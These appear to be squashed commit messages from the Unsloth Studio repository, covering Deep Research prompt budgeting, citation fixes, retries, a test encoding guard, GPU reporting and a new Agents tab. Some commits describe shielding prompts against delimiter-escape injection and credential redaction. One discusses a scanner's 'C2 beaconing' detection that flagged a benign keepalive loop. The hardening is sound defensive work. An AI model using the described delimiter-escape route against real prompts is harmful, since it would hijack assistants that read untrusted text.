routes.inference._monitor_context_length so the budget sizes to the context the API layer
serves. Verified on a running server: at a 12288 token load the probe now reports 12288 and the
budget adapts to 24576 characters instead of the 32000 fallback.
Also:
- Reserve context for the generated report as well as the prompt scaffolding (raise the reserve
to 4096 tokens) so evidence does not crowd out the output on a small window.
- Honor a numeric UNSLOTH_RESEARCH_AUTO_SCRAPE by passing the per-run maxAutoScrape as the page
cap to the scraper, instead of always reading the maximum.
- Guard the web-RAG connection acquisition so a get_connection failure returns the documented
empty result rather than propagating.
- Add a synthesis-context test that patches the real backend accessor (not the probe itself) so
the production wiring is exercised, plus a scrape page-cap test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research query redaction and research autosave
- research_runs: extend the opaque-token allowlist so unlabeled Hugging
Face (hf_) and GitLab (glpat-) tokens are redacted before a query can
reach web search, without over-redacting public model or version ids.
- runtime-provider: for a server-managed research message, echo the
backend-stored metadata verbatim on autosave. Merging the client
metadata re-added client-only fields the server never persisted, so the
server-side guard saw a diff and rejected every streamed or snapshot
update with 409.
* Studio: keep composer tool pills always accessible after merge
The merge left the composer line marked always-expanded (data-expanded
"true") while the inner pill row was still gated behind composerExpanded,
so the Search and Code toggles disappeared once the permission mode was
"off" with no other toggle set. Render the primary tool pills
unconditionally, matching the always-expanded layout, and drop the now
unused composerExpanded and permissionMode locals. Fixes the Chat UI
Playwright check that asserts the Search and Code pills stay visible.
* Studio: update Deep Research composer contract to always-expanded layout
The always-expanded composer no longer routes effectiveDeepResearchEnabled
through a composerExpanded expression, so the frontend contract now checks
that it gates the Deep Research composer button render instead.
* Studio: do not bind a research run to a populated assistant reply
create_run adopted any assistant message under the user turn whose
researchRunId was unset, including a prior answer reused by a retry. On
completion _update_assistant drops the untagged text and source parts, so
that answer was silently overwritten. Only bind to an empty placeholder or
this run's own message, and reject a reply that already carries content.
* Studio: harden Deep Research synthesis budget, prompt shielding, and message protection
- research_runs: split the synthesis evidence budget evenly across notes so a
small context still keeps a slice of every research step instead of dropping
the later steps after the earliest ones fill the budget.
- research_runs: shield the research question and approved plan before placing
them in the decision and synthesis prompts, so a closing delimiter in either
cannot escape its block and inject sibling sections.
- research_runs: redact bearer authorization tokens from public search queries.
- studio_db: include attachments in the research-message change check and guard
direct attachment deletion, so server-managed research prompts and responses
cannot be mutated through the attachment paths.
- chat_history: map the protected-message conflict on attachment deletion to 409.
* Studio: strip invalid document citations that contain brackets
The invalid-citation regex stopped at the first closing bracket, so a
citation whose filename contained brackets left its tail (".pdf, p. 9]") in
the report. Match a balanced bracketed span so the whole invalid citation is
removed; valid citations stay protected by the earlier tokenization pass.
* Studio: free the RAG search slot when a lookup times out or is cancelled
The bounded knowledge-base search held the sole admission slot in a detached
worker until the search returned, so a lookup that outlived its timeout (a
stalled embedding or blocked vector call) kept the slot forever and starved
every later lookup, disabling knowledge-base retrieval globally. Release the
slot from the caller when it stops waiting, exactly once, so a detached worker
finishes without re-holding it.
* Studio: remove Websites label from research composer
* Studio: fix Deep Research review findings (RAG slot bound, orphaned workers, hardening)
- Bound the shared RAG search slot to one running worker. The search that is
doing the embedding/index/GPU work now owns the admission slot until it
finishes, instead of freeing it on caller timeout while the detached worker
keeps running, which let a second search enter and stack concurrent work
behind the capacity-of-one semaphore.
- Cancel active research runs before deleting their thread, project, or all
history. Deleting cascade-drops the run row, but the worker only notices at
its next lease check, so it could keep doing model/web/RAG work for a run
that no longer exists; signalling cancel first shortens that window.
- Shield the planner prompt's conversation and question with _shield_untrusted,
matching the decision and synthesis prompts, so untrusted text cannot forge
planner delimiters.
- Do not let a research key-revocation failure replace a successful
non-streaming completion; log it like the streaming path does.
- Include created_at in the protected research-message guard so a client cannot
reorder server-managed prompt/response messages while leaving the body intact.
- Reject non-scalar ragScope values; a nested container evades the
sensitive-key scan when its inner keys are unlisted and would reach retrieval
code that expects a scalar scope id.
Adds regression tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: remove research composer globe icon
* Studio: use Hugeicons telescope in research composer
* Studio: use Telescope02 icon in research composer
* Studio: standardize Deep Research telescope icons
* Studio: move Deep Research below web and code tools
* Studio: merge grounded page excerpts with search snippets instead of replacing
When auto-scrape grounding retrieved page-body chunks, it replaced the raw
search-result text for that step. If the retrieved chunk was a distractor or
dropped the key fact, the answer-bearing search snippet was lost and grounded
runs regressed below snippet-only accuracy on factual questions (e.g. returning
Apache 2.0 instead of the Qwen License, 403 instead of 404, or a single mirror
diameter instead of the sum).
Keep the search snippets and append the grounded excerpts as supplementary
evidence via a small _merge_scraped_evidence helper. Grounding stays opt-in and
off by default, so legacy runs are unchanged. Adds regression tests.
* Studio: fix stale website access assertion in Deep Research contract test
The dialog heading was renamed to a DialogTitle, so the contract test still
asserted a <span>Websites</span> that no longer exists and failed on every
branch built on this one. Assert the current heading instead.
* Add AGPL-3.0 SPDX header to the two new test files for PR #7219
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix citation loss, effort clamping and nested inferenceRequest for PR #7219
Three review findings, each with a regression test that fails without the fix.
Citation dropped for a bare URL in prose parentheses. _RAW_URL swallows the
closing paren and the old trim set only stripped ".,;:!?", so the catalog
lookup missed and the validator deleted the whole citation, leaving an
unbalanced "(" in the report. New _trim_url_tail follows GFM extended autolink
path validation: one right-to-left pass that interleaves punctuation and
unmatched-")" trimming. Both rules must run in the same loop, else
"https://x/y.)" keeps a stray dot. Balanced parens inside a URL
(Wikipedia-style) still survive. Output verified against cmark-gfm on nine
cases, including "https://x/foo)bar)" which must keep ")bar".
Research runs forwarded reasoningEffort unclamped. The local chat path clamps
to the loaded model's advertised levels; the research branch did not, and the
backend only validates enum membership, so llama.cpp dropped a level the model
lacks and the whole durable run silently fell back to the template default.
Now uses the same helper and the same levels as normal chat. Note this makes
"max" on a gpt-oss low|medium|high model resolve to "low" rather than falling
through to the template default, matching normal chat exactly; the divergence
between the two paths was the bug.
Nested inferenceRequest values were persisted. Every allowed field is a scalar
and the numeric/bool/enum ones reject a container while coercing, but "model"
is stringified with str(), which never raises, so {"auth": "sk-..."} slipped
past the sensitive-key scan ("auth" is not on the list) into the durable run
config as the model id. Mirrors the ragScope guard already in this PR.
Verified: 542 passed across the research/web/sandbox/chat-history backend
suites, frontend contract 10 passed, tsc --noEmit clean.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix report-stalling regex, uncataloged KB evidence and bracketed titles for PR #7219
Catastrophic backtracking in _DOCUMENT_CITATION. The alternation
(?:[^\[\]]+|\[[^\[\]]*\])* backtracks exponentially on an unterminated
"[Document:" with no later bare "]", which is ordinary malformed model output
and exactly what this sanitizer exists to handle. Runtime quadrupled every two
characters; one realistic 76-char line did not finish in 90s. It runs
synchronously inside async _research (the line below it uses asyncio.to_thread),
so a single bad report pins the event loop and stalls all of Studio, not just
the run. Replaced with the language-equivalent unrolled form, verified identical
on well-formed inputs including bracketed filenames, and linear: a 20,000-char
tail now takes 0.4ms. Not using possessive quantifiers or atomic groups, which
need Python 3.11 while this package declares >=3.9.
Uncataloged knowledge base evidence reached synthesis. When maxSources is
already full, every returned chunk hits the continue, so accepted_rag_sources
stays empty, the "if accepted_rag_sources" rebuild no-ops and rag_result keeps
the raw KB text. That text has no document_source_catalog entry, so the
validator strips any citation to it and synthesis is left building claims on
private KB chunks it cannot attribute. Cleared, gated on rag_sources so a
text-only KB reply is still passed through. The resume branch built rag_evidence
from all restored sources with the same hole, so it now mirrors the live loop.
Bracketed source titles destroyed their own citation. The catalog gave the model
the raw title while the citation writer stripped brackets. Search titles
routinely carry one ("[PDF] Annual Report"), and the prompt tells the model to
copy the title verbatim, producing a label the validator cannot match. Both
sides now share _citation_title.
Verified: 756 passed across the research/web/sandbox/chat-history/rag backend
suites. Each fix has a regression test that fails without it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep a durable run alive when no model is loaded for PR #7219
A durable run is claimable within the supervisor's poll interval of startup
(main.py starts it in the lifespan, and claim_next takes any 'running' run whose
lease expired), Studio has no startup model auto-load, and the browser is not
connected yet. So restarting Studio mid-run reliably lands the next model call
on the local endpoint's HTTP 400 "No model loaded". That 400 is not retryable:
_completion retries only >= 500, and _stream_completion, which serves both
planning and synthesis, has no retry at all. The run is marked failed, and the
only recovery is retry, which sets report_text NULL and deletes every
research_plan_step, research_source and research_document_source. Up to an hour
of scraping and synthesis is lost on a plain restart, on the feature whose whole
point is surviving one.
Treat only that refusal as transient: wait up to the run's own
modelTimeoutSeconds for a model to come back, then re-send. Any other 400 still
fails immediately, so no behaviour changes on the happy path. The wait polls
_check_active, so cancellation and lease loss are still honoured, and the model
probe fails open, so a probe error can only send a request, never withhold one.
Each wait is bounded by the run timeout and the number of waits per call is
capped, so a model that keeps disappearing cannot re-send forever.
Deliberately not pinning or restoring the model, which the review comment also
suggested. Auto-switch is opt-in, default off, and GGUF-only, so restoring
would silently evict the model the user just loaded from a background worker,
and comparing the configured name to the loaded id is fragile across variant
suffixes and advertised aliases, so it would break working runs.
Verified: 853 passed across the research/web/sandbox/chat-history/rag/inference
backend suites. Eight of the nine new tests fail without the fix.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make website-policy search reach the whole allowlist and refill past blocks for PR #7219
Two review findings on the website access policy.
Domains past the site: filter cap were undiscoverable. The policy accepts up to
100 allowed domains and the prompt tells the model all of them are searchable,
but scope_search_query always scoped to allowed[:8], so a source in the ninth or
later domain could never be found, and an undiscovered URL cannot be fetched
either. The cap itself is right, search engines stop honouring long OR chains,
so the window now rotates by a hash of the query instead of being a fixed head.
Every allowed domain is reachable across a multi-step run, the same query is
always scoped the same way, and lists at or under the cap are unchanged.
A page of blocked results returned nothing. The policy filters after the search
while DDGS was asked for exactly max_results candidates, so if those happened to
be disallowed the tool reported no results even when valid ones ranked just
below, wasting a research step. Ask for a deeper pool when a policy is set and
stop at max_results allowed entries. No policy means no over-fetch, so ordinary
searches are unchanged.
Verified: 2324 passed across the research/web/sandbox/chat-history/rag/tool
backend suites. The 8 test_studio_api.py failures are pre-existing and need live
OpenAI/Anthropic credentials; they fail identically with these changes stashed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Only overfetch search results when the website policy restricts for PR #7219
Follow-up to 8be0b3699. Every run stores normalize_website_policy(...), which
returns {"allowedDomains": [], "blockedDomains": []} and is truthy even when
nothing is restricted, so the default unrestricted path asked DDGS for four
times as many results on every step. That is pure added latency and timeout
risk, since the filter passes everything and only max_results entries are
returned either way. Test the domain lists rather than the dict.
* Budget the whole research prompt against the loaded context for PR #7219
Only the synthesis evidence was budgeted, so the budget could not prevent the
overflow it existed to prevent.
Measured at head with a realistic prompt (40-source catalog, 12-step plan): the
untrimmable scaffolding is about 7,900 chars and the conversation context adds
up to 12,000 more. On a 4096-token context, which is the GGUF auto-fit floor and
the transformers default, the synthesis request came to about 1.7x the window.
Worse, _synthesis_evidence_budget computed usable_tokens = 0 at or below the
4,096-token reserve and then returned the 1,500-char floor anyway, so it added
evidence to a prompt that already did not fit. The decision prompt had no
context awareness at all: a fixed evidence[-60000:], roughly ten times a small
window, on every step rather than once at the end.
Overflow is not cosmetic here. It either silently truncates and degenerates the
report, as the comment above these constants already warned, or fails the run,
and a failed run is only recoverable via retry, which deletes every plan step,
source and document source and nulls the report.
Both paths now share _prompt_char_budget plus _trimmable_budget: each trimmable
section is measured against what the rest of the prompt leaves, and can reach 0
instead of a floor, because a shorter report beats a destroyed run. Evidence is
budgeted before the chat history, since the evidence is the report. Unknown
context still keeps the full cap.
At 4096 tokens the synthesis prompt now fits (0.6x). Below that it is still
over, since a 40-source catalog alone exceeds the window; that needs a smaller
maxSources, and the context box does accept values down to 128.
test_synthesis_evidence_budget_tracks_loaded_context asserted the old floor at
2048 tokens, which is the bug, so it now asserts 0 and that the rest of the
prompt counts against the same budget.
Verified: 2325 passed across the research/web/sandbox/chat-history/rag/tool
suites. The test_mcp_stdio_sessions failure is pre-existing and fails
identically with these changes stashed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope replayed research history to its own attempt for PR #7219
A retry deletes the previous attempt's research_plan_steps, research_sources
and research_document_sources rows but keeps its events, and the SSE route
attaches one live run snapshot to every event it emits, replayed history
included. The step.completed payload carries only position, title, action,
input and sourceCount, so that snapshot is the sole source of the excerpt and
evidence.
On any refresh after a retry, a replayed attempt-0 step was therefore matched
against attempt-1's step row by position alone, and start_position resets to 0
after the delete, so the positions line up exactly. The preserved attempt-0
activity then showed attempt-1's excerpt and evidence, or lost them entirely
when attempt 1 had not yet reached that position, under a banner that says
previous activity is preserved. The run.started resumed branch read the same
cross-attempt snapshot and spliced those activities out.
Both are gated on the event's attempt matching the snapshot's retryCount, which
is the same attempt scoping get_reasoning_text already applies server-side. The
excerpt and evidence fall back to what the activity already holds, so a mismatch
is non-destructive rather than blanking it.
Verified: frontend contract 11 passed, tsc -b exit 0, and the new test fails
without the store change.
* Retry pre-stream failures in the research stream for PR #7219
_stream_completion serves planning, every decision step and synthesis, and it
had no transport retry: a connection error or a 5xx raised before any response
byte failed the durable run, and retry then deletes every gathered source,
document source and plan step. _completion already treats the identical
failures on the identical endpoint as retryable, so the two paths disagreed.
This is partly a hole my own 689b06535 opened. After the no-model 400 the body
is read, the connection returns to the pool, and _wait_for_local_model then
sleeps for up to modelTimeoutSeconds before re-sending on the same client.
Uvicorn's keep-alive is 5s, so that pooled connection is essentially always
server-closed by then, and losing the has_expired race raises
RemoteProtocolError, killing the run the wait existed to save. Also reachable
via a read timeout waiting for headers under prompt-eval load.
Retrying is safe only because nothing has been consumed at that point, and that
is structural rather than a convention: with stream=True httpx returns on the
response headers without calling aread(), and raise_for_status() reads no body,
both verified against the installed 0.28.1. The handler is scoped to the inner
try that ends at break, and _iter_stream_lines sits outside the loop with no
path back to send, so a re-send cannot duplicate report text.
Bounded and mirrors _completion: same >= 500 predicate, same 3 attempts, same
2**attempt backoff, lease and cancellation re-checked before re-sending. The
transport counter and the model-wait counter are independent, so they cannot
multiply. The response is closed before every re-send, as manual stream mode
requires.
Note HTTPStatusError is not a TransportError in httpx, so both are caught
explicitly.
Verified: 2330 passed. Five of the new tests fail without the fix; the three
that pass either way are the invariants that must not change (fail fast on a
real 400, never retry once the report has streamed, existing model-wait path).
* Bound the planning prompt to the loaded context for PR #7219
Completes dc16598a4, which budgeted the decision and synthesis prompts but left
planning unbounded. The question reaches the planner verbatim (a pasted document
arrives here as-is) and the history is capped only at the fixed 12,000 chars,
so on a small context planning could overflow before any plan was persisted,
failing the run without doing any research at all.
Same helpers as the other two paths. The question is budgeted before the
history, since the question is the request.
A test now asserts all three prompt paths hold their own context budget, so a
fourth path cannot be added later without one.
Verified: 2331 passed; the new test fails without the change.
* Keep prompt inputs non-empty and fit the source catalog for PR #7219
Two follow-ups to the prompt budgeting, the first a regression I introduced in
dc16598a4.
The output reserve was a flat 4096 tokens, so on any context at or below that,
including the documented 4096-token GGUF floor, the whole prompt budget came out
as 0. Every trimmable section then sliced to nothing: planning_question became
the empty string, so the planner never saw the request at all, and synthesis
dropped all its evidence. Removing the old floor outright went too far; an empty
prompt is worse than the overflow it was avoiding. The reserve is now capped at
half the window, and the question and the evidence each keep a floor, since one
carries the request and the other carries the answer. A truncated completion is
recoverable, a confidently empty report is not.
The source catalog was the one section still inserted whole. It holds up to
maxSources entries with snippets persisted at up to 4000 chars each, so on a
smaller context it alone could exceed the budget while the code responded only
by zeroing the evidence and history. It is now fitted first, dropping whole
entries from the tail rather than slicing mid-entry, because a half-truncated
URL is worse than an absent one: the validator would strip it and the claim
would be left uncited.
Verified: 2333 passed. All three new tests fail without the change; the question
now keeps 1072 chars at a 2048-token context and 4144 at 4096, where both were
previously 0.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten Deep Research comments for PR #7219
Post-convergence comment pass over the 40 source files in the PR diff, limited
to lines the PR itself adds so untouched upstream code in the same files is left
alone. 15 files, 110 insertions, 141 deletions.
The reduction is deliberately small. Almost every comment here records why
something non-obvious is done, a measured result, a spec rule, or the exact bug
it prevents, and those are worth more than the lines they cost, so nearly every
edit is a same-meaning compression rather than a deletion. Kept in full: the GFM
autolink citation for the URL trim, the catastrophic-backtracking note on
_DOCUMENT_CITATION, the prompt-budget notes recording that a reserve at or above
the context leaves nothing, the two measured site: filter findings, and the
remount note on the activity panel key.
Verified comment-only three ways: comment_tools.py reports 15/15 code-unchanged,
and an independent ast.dump comparison with docstrings stripped shows zero of the
12 Python files differing. 421 backend tests and the 11 frontend contract tests
pass, and the phrase the contract test asserts on is still present on one line.
* Harden Deep Research model streams
* Fit Deep Research decision prompts
* Preserve Deep Research follow-up context
* Redact composite credentials from research queries
* Scale Deep Research UI typography
* Address Deep Research refinement review
* Harden Deep Research refinement edge cases
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* tests: read checked-in files as UTF-8 instead of the platform default
Path.read_text() with no encoding uses locale.getpreferredencoding(), which
is UTF-8 on the Linux runners and cp1252 on a stock Windows install. Nine
module-level reads of checked-in source files were relying on that default.
studio/backend/routes/inference.py carries the DeepSeek tool-call token
regexes, so it holds U+FF5C and U+2581. Under cp1252 that read raised
UnicodeDecodeError on byte 0x81 at position 97806, and because the reads run
at import time it took test_cancel_atomicity.py and test_cancel_id_wiring.py
out at collection, not as failures. Green on CI, permanently broken for a
Windows contributor running the suite locally.
Adds a guard: at module scope there is no tmp_path fixture, so a bare
read_text()/write_text()/open() there is always touching a checked-in file.
That makes the rule mechanical enough to enforce with no allowlist, while
staying quiet about temp-dir I/O inside test bodies where the platform
default is harmless.
The repo already spells this correctly in 464 other places; this only stops
the stragglers coming back.
* tests: cover import-time helper reads and keep the guard py3.9-safe
Follows up on the Codex review:
- add `from __future__ import annotations`, since `str | None` in
`_offender` is evaluated at import on Python 3.9 and pyproject declares
requires-python ">=3.9,<3.15".
- widen the guard from module scope to import time. Class bodies and the
bodies of module-level helpers called from an executing statement run
during collection too, so `CODE = _extract_mixed_precision_code()` was
the same hazard as an inline read. `if __name__ == "__main__":` blocks
are skipped: pytest never executes them.
- scan studio/backend/tests/ as well as tests/. Both trees are collected
on Windows by separate CI jobs, and the offender that started this,
test_tool_xml_strip.py reading routes/inference.py, lives there.
Widening it surfaced seven more import-time reads of checked-in sources;
all now name utf-8.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden the import-time encoding guard for PR #7438
Close the detector gaps raised in review, all of which I reproduced against
the actual AST before changing anything.
False negatives (the guard let a real hazard through):
- _is_main_guard ignored the comparison operator, so if __name__ != "__main__"
counted as script-only even though its body runs at import.
- The else arm of a main guard was discarded with the rest of the If node.
- Decorators and argument defaults on a module-level def were skipped with the
body, though both are evaluated when the def executes.
- Path.open() in text mode was invisible; only builtin open() was matched.
- encoding = None and encoding = "locale" both re-select the platform default,
but the keyword merely being present counted as pinned.
False positives (the guard would have blocked a compliant contributor):
- A non-literal mode fell through to the "r" default, so open(p, mode) was
flagged even when mode is "rb", where adding encoding= is a ValueError and
there is no edit that satisfies the rule.
- Same for open(*args) and a **kwargs splat, which hide the mode and can hide
an encoding.
- Lambda bodies and comprehension elements were walked even though neither runs
at definition.
Verified: still reports the same 22 offenders on unpatched main, green on this
branch and on the tree merged with latest main (557 files), and an adversarial
corpus of 33 cases now scores zero false positives and zero false negatives.
Also corrected two docstring claims: neither collecting job runs on Windows,
and the read is governed by locale.getencoding().
* Walk eager comprehensions and treat io.open as the builtin
Two regressions from the previous commit, both reproduced against the AST
before changing anything.
Lumping list, set and dict comprehensions in with generator expressions was
wrong. Only a genexp is lazy; the other three run their element expression,
their filters and their nested iterators immediately, so
CONTENTS = [p.read_text() for p in PATHS] at module scope is an import-time
read the guard was silently missing. Comprehensions are now walked in full and
only the genexp keeps the outermost-iterable-only treatment.
io was also in the not-a-path-opener list, but io.open is the builtin, with the
same mode position and the same platform default. io.open(CHECKED_IN_FILE) is
exactly the hazard this guard exists for, so it is matched now, with binary
modes and a pinned encoding still exempt. tarfile.open and fitz.open stay
exempt since neither has an encoding to name.
Verified: 13 targeted cases covering all five eager comprehension forms and
io.open in text, binary and pinned shapes all classify correctly; still 22
offenders on unpatched main; green on this branch and on the tree merged with
latest main.
* Close three more walker gaps in the import-time guard
All three reproduced against the AST first.
A generator expression handed straight to a call is consumed there, so
DATA = "".join(p.read_text() for p in paths) runs its element at import. Only
an unconsumed genexp bound to a name stays lazy, so the walker now follows the
consumed ones in full and keeps the outermost-iterable-only treatment for the
rest.
if "__main__" == __name__ is an equivalent and accepted spelling of the main
guard, but requiring __name__ on the left meant its body was treated as
import-time code. That is a false positive on a block pytest never runs, so
both operand orders are recognised now.
The helper table was built from module-level defs only, so a def in a class
body invoked while the class is constructed was never followed, contradicting
the walker's stated coverage of class bodies. Helpers are now collected from
the module body and from class bodies at any nesting.
Verified: 15 targeted cases including all three fixes and the earlier ones
still classify correctly; still 22 offenders on unpatched main; green on this
branch and on the tree merged with latest main.
* Handle positional read_text encodings, lazy generators and nested helpers
* Guard reads reached from test bodies, unbound Path calls and __file__ paths
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Follow derived paths, skip lazy generator helpers, cover compressed openers
* Guard the CLI tests, helper parameters and unbound Path arguments
* Discover test roots and follow literal, in-place and tuple-derived paths
* Identify module openers by import, unwrap starred paths, pin subprocess snippets
* Resolve import origins, seed helper locals, follow named generators and parametrize
* Scope imports lexically, list tracked test files, bind unpacked names
* Resolve aliased openers, keyword-only params, destructured targets, next()
* Pin the encoding on subprocess snippets, workflow lint and CLI output for PR #7438
* Harden the CLI encoding guard against detached streams for PR #7438
* Tighten the encoding guard's path and scope analysis for PR #7438
* Resolve path provenance more precisely and keep POSIX stream encodings for PR #7438
* Resolve qualified path classes and scope conditional imports for PR #7438
* Scope CLI stream setup to the entry point and align two encoding pairs for PR #7438
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* fix(studio): report Vulkan GPUs in system UI
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): separate Vulkan inference GPU reporting
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): keep retrying Vulkan probe refreshes
* fix(studio): preserve known zero GPU budgets
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* fix(studio): reject Vulkan diffusion gpu_ids before Phase 1 teardown
Classify local GGUF paths (and cached HF downloads when available) for
diffusion before _kill_process() so unsupported gpu_ids requests return
400 without tearing down the active model. Fixes#7205.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): always pre-download HF GGUF before Vulkan diffusion preflight
Reverts the cached-path shortcut so partial split caches still run
_download_gguf before Phase 1 teardown. Header-only classification from
resolve_local_gguf_path() does not prove the variant is complete.
* Fix inaccurate shared-constant comment and cover the local pre-teardown branch for PR #7415
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add a regression test for the pre-teardown GGUF download for PR #7415
* Tighten the Vulkan diffusion preflight comments for PR #7415
* Trim the Vulkan diffusion preflight comments for PR #7415
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: danielhanchen <unslothshared@gmail.com>
* Bypass fast_generate for flash_attention_2 models (frozen KV / gibberish)
unsloth_base_fast_generate forces cache_implementation="static", which
pre-allocates the full prompt+max_new_tokens KV buffer. With SDPA the
not-yet-filled slots are masked out; flash_attention_2 does not receive such
a mask, so decoding attends over uninitialized cache memory and produces
incoherent output (observed: coherent prompt echo followed by gibberish
rollouts on Phi-4-mini-instruct during TRL GRPO training; the KV length
appears frozen at the pre-allocated size). Note that on transformers >=
4.56 UNSLOTH_DISABLE_STATIC_GENERATION=1 still selects the static cache, so
the env-var escape hatch does not help either.
Fall back to the wrapped model's original generate when the config reports
_attn_implementation == "flash_attention_2" - plain HF generate is correct
with FA2 (validated: prefill q=13/kv=13, cache grows 14, 15, ..., coherent
output; equivalent to UNSLOTH_DISABLE_FAST_GENERATION=1 but scoped to FA2).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* Fix FA2 vision generation fallback
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Detect FA2 in VLM llm configs
* Fix default FlashAttention config detection
* Honor language attention overrides
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Handle nested FA2 configs and cache cleanup
* Pin a dynamic cache on the FlashAttention fallback for PR #7429
* Cover the explicit cache kwarg and caller caches in the FA2 fallback for PR #7429
* Tighten the FlashAttention fallback comments for PR #7429
---------
Co-authored-by: Piotr Wąsiewicz <piotrwasiewicz72@mail.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: Etherll <61019402+Etherll@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Security audit fails on main with 1 unsuppressed CRITICAL:
CRITICAL C2 polling/beaconing loop detected
Package: fastapi
File: fastapi/routing.py
The same file and check are already baselined, but the entry is keyed on a
digest of the matched code, so fastapi 0.140.0 rewriting the block reopened it.
That is the baseline working as intended, not a stale pin, so the new code
needs its own review rather than a regenerated file.
The flagged block is the SSE keepalive inserter:
async def _keepalive_inserter() -> None:
async with send_keepalive, receive_stream:
try:
while True:
try:
with anyio.fail_after(_PING_INTERVAL):
data = await receive_stream.receive()
await send_keepalive.send(data)
except TimeoutError:
await send_keepalive.send(KEEPALIVE_COMMENT)
except anyio.EndOfStream:
pass
It forwards one in-memory anyio stream to another and emits a keepalive comment
when the read times out. No socket, no outbound host, no fetched command, and it
terminates on EndOfStream. The heuristic matches it on the shape alone, a loop
with a timeout and a send, so it is a false positive.
Adds that one entry. The existing fastapi entry stays, since the requirement is
unpinned and an older resolve still needs it.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Add Agents settings tab for unsloth start
Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.
Also removes the "New" badge from the System and Chat tabs.
* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode
Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.
* Title Agents tab "Agents (unsloth start)" and move it below Connections
The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.
* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet
- Only probe agent PATH in the desktop app on a loopback backend, so
Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.
* Add interactive Agents command builder
* Add local subagent command guidance
* Add official coding agent icons
* Use client OS for remote commands, fix copy a11y and model wording (#7303)
- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model
* Shell-quote the model, forward the HF token, and fix the quant placeholder
- Quote the --model value in the generated and subagent commands so a local
path with spaces or metacharacters stays a single argument (client-OS aware)
- Pass the saved Hugging Face token to listGgufVariants so gated repos resolve
- Show 'No separate quantization' instead of a stuck 'Loading quantizations...'
when a model has no variants; clear the failure once a later request succeeds
* Fix Agents command discovery and routing
* Unsloth start improvements: download progress, server reuse, and safe model switching (#7313)
* Improve unsloth start runtime lifecycle
* Remove speculative Gemma prompt override
* Polish model download progress output
* Refine unsloth start status output
* Clarify unsloth readiness banner
* Clarify model reuse and switching output
* Queue model switches behind active inference
* Tighten unsloth start model switching
* Reduce model switch bookkeeping
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Studio re-exec compatibility
* Recheck sidecar reservation after inference drain
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Pass start marker through child environment
* Fix key redaction, switch-waiter ordering, and stop/messaging gaps for PR #7313
- Redact minted sk-unsloth keys from the startup-failure log tail: the early
key marker lands in the server log before the model load finishes, so a
load-phase crash printed a live key to the terminal
- Deregister a finished switch waiter before releasing the swap gate so a
swap on another event loop cannot count it as still queued and unload the
model the finished request is about to generate against
- Warn on same-repo quant switches: an explicit variant replaces the resident
weights for every attached session, but the repo ids match so no switch
warning was printed
- Note the agent exit code when it is nonzero so the server keep-alive
message does not read as a successful session
